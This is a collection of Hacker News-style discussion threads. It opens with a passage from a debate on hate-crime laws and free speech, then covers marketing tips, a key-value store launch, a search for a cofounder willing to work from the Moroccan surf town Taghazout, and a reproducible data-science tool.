As for the not relevant to the discussion bit, I was responding to that specific comment, which brought them up.

<comment><USER6> > For example, laws against murder and pillage are laws against the freedom > for market forces to govern individual behaviour.

These laws exist to avoid citizen A encroaching upon (and unfairly limiting) citizen B's freedom. Citizen A being a xenophobic assbag does not, in and of itself, restrict citizen B's freedom. If citizen A acts on his xenophobia, there will likely be laws allowing citizen B to get redress (and if there are not there should be), but making xenophobia itself illegal is thoughtcrime, and it _is_ a restriction on freedom of speech with little to no justification (and value) outside of emotional appeal (one of the worst basis I know for lawmaking).

<comment><USER5> Hey, I accept that there are people who don't agree with me, and that's why there is this country called the USA where they can happily co-exist with each other while I write this in Toronto.

But I hope you can accept that there are people who do agree with me, and therefore understand my statement that one must do more than simply quote holocaust denial laws or hate crime laws to label a country or group of countries as somehow being un-free or un-democratic.

I don't agree with your position that hate crime laws are thoughtcrime, or that there is no value to them, or no justification for them, but I also don't just dismiss your views, I understand that there are many people like you and that the question obviously is subject to debate and discussion, and that different people will come to different conclusions.

Compare and contrast this to the question of Heliocentricity. Heliocentricity is one of those things where there is an absolute right and an absolute wrong. I think hate crime laws are not in the same class, they are strategies for achieving an end, and we have extremely imperfect information about the utility of these strategies.

For example, there is no way to do a true study. We can't conjure up two countries that are identical in every respect except for there being a hate crime law in one and no such law in the other. Canada and the US are similar, but we Canadians have hate crime laws and gun control and socialized medicine and cheaper education and a bunch of other stuff.

What if Canada is a nicer place to live for visible minorities but it's all the other stuff and not the hate crime laws? How could I know for sure? OTOH, what if the things you like about the US have everything to do with it being a wealthy country based on its resources and the size of its internal market and not to do with its freedom of speech?

So... I suggest we agree to disagree and further I hope that you can simultaneously hold your own views, disagree with my views, but understand why I might challenge someone to do more than simply cite a holocaust denial law as evidence a country is un-free or un-democratic.</comment></comment></comment></comment></comment></comment>


Why should I buy this? (Marketing tips) - <AUTHOR> https://www.reifyworks.com/writing/2019-02-27-why-buy-this <comment><USER2> from the consumer point of view i like to ask does this thing solve a problem or create an opportunity? Does it remove any salient negatives and will it make me happier? Usually the answer to all of these is "no"!</comment>


Show HN: kvdb.io – Simple Key-Value Store for Metrics and IoT - <AUTHOR> https://kvdb.io <comment><AUTHOR> Hey everyone! This is one of those things that's already been done, but I feel like none of the existing solutions have nailed down an ergonomic API or feature set for storing key-value pairs, especially numerical data. I built this over the weekend to help me store auto-expiring counters for metrics collection for different apps and devices. Hope it's useful for someone :)</comment>


Wanted: a cofounder willing to move to a Moroccan surf town - <AUTHOR> http://www.thebluehouse.io/blog/looking-for-a-cofounder <comment><USER2> [https://news.ycombinator.com/item?id=8716050](https://news.ycombinator.com/item?id=8716050)

</comment><comment><USER3> My humble advice is find a co-founder first and then both of you decide to move to Taghazout. Trying to find your co-founder is more important than the location. Mixing the two could be a recipe for disaster. The most difficult thing in the life of any startup is finding the right co-founder. Best to run solo than getting it wrong. All the best.

<comment><USER4> I'm curious as to why the author seems to be so set on Taghazout specifically.

<comment><AUTHOR> Already popular with entrepreneurs Good surf/yoga/creative/authentic vibe Close to an international airport Sunny and different from Europe :) [http://www.thebluehouse.io/blog/2014/12/1/why-this- american-...](http://www.thebluehouse.io/blog/2014/12/1/why-this-american- startup-decided-to-work-from-moroccan-surf-town-taghazout)

</comment></comment></comment><comment><USER5> Slightly off topic: I love the thought of working at an awesome location. "Surf town" sounds really fun. But as a developer, I cringed hard when I saw the picture of them actually working. I know it's only a picture and I'm sure he wants to convey a cool vibe, but it looks really haphazard. Hopefully they have other rooms with more comfortable workspaces.

My ideal setup is a multi-monitored station with a nice chair and an awesome view of a beach.

<comment><USER6> I'm imagining a surfer zen master saying, "dude it is not the size of the screen that matters, but what is in the mind."

<comment><USER7> Surfing Zen Master has a point. I work every day on a laptop switching between my browser, Slack, and a full-screen 80 column terminal.

Yeah, different needs for different people & tasks. But there's nothing intrinsically wrong or difficult with working on just a laptop.

I dream of being able to work on just an e-ink tablet with Bluetooth keyboard...

<comment><USER8> What about ergonomics? don't you think a desktop computer helps here?

<comment><USER7> Maybe, but working fewer hours and taking breaks is probably more important. Sitting down for hours at a time while being stressed and tired is bad no matter the perfect battle station, ya know?

Maybe I'm thinking of a somewhat utopian scenario, but I'd take a laptop plus a nice house in a nice environment over most office rooms any day.

And I think it's really important not to overwork. To the point where I'd optimize everything around it. If the software I'm making requires me to be at a computer coding or fixing bugs for eight hours every day, I'd consider that a problem to be fixed immediately.

But that's a much larger issue!

Anyway, different strokes, and it's great to have someplace to sit, but even if you give me a private office I'll probably migrate towards the kitchen table if only to have better coffee access—or go outside.

</comment></comment></comment></comment></comment><comment><USER9> We just got back from 6 months in Morocco. We work with technology. Me: programmer. She: designer. Dog: just does the cute thing. We travel by camper van.

I'll contact your site and we'll drop by in the Fall if you all will be around.

Cheers- Matt

</comment><comment><USER10> Posting from Marrakech via hotel WiFi to confirm that the internet seems to work reasonably well in Morocco, FWTW. Perhaps Taghazout is cooler, but, personally, I'd find it hard to get work done in this 45 C heat.

<comment><AUTHOR> It's usually around 20 to 30C, with a nice breeze. Marrakech has a different weather altogether.

</comment></comment><comment><USER11> Cool! I am doing something similar in Nicaragua. Best of luck to you!

<comment><USER12> Curious about your burn rate in Nicaragua and level of safety. Care to share?

</comment></comment><comment><USER13> What about infrastructure? High-speed internet? Security? Government bureaucracy? Cost of living? Business opportunities? Increased equipment corrosion?

A 'surf' town sounds great. But I just moved away from a popular tourist destination in Brazil, due to some of the above concerns.

<comment><AUTHOR> For the participant to the program: internet is good enough, but I'm looking to get a much better plan in the fall. Security is not a problem. For the cofounder: bureaucracy is not as smooth as in Europe or North America, but it's nothing impossible. Some products are not available in Morocco, but you can easily get them from Europe. Clients are mostly coming from Europe and North America :)

</comment></comment><comment><USER14> Maybe I'm just jealous but has this concept of a startup retreat achieved any real world success stories someone can point to? Wouldn't being isolated in a remote corner of the world put a real damper on being able to build business relationships?</comment>


Show HN: Data-driven narratives for reproducible data science and research - <AUTHOR> https://amie.ai <comment><AUTHOR> We're happy to release the beta of our app and python client today. Every day, valuable data and results get lost and forgotten. amie provides you with an easy way to structure and store your data and their relationships, to make sure your workflow is fully reproducible and make it easy for you to keep an overview. amie works with any data-driven task, from data-science to beer brewing.</comment>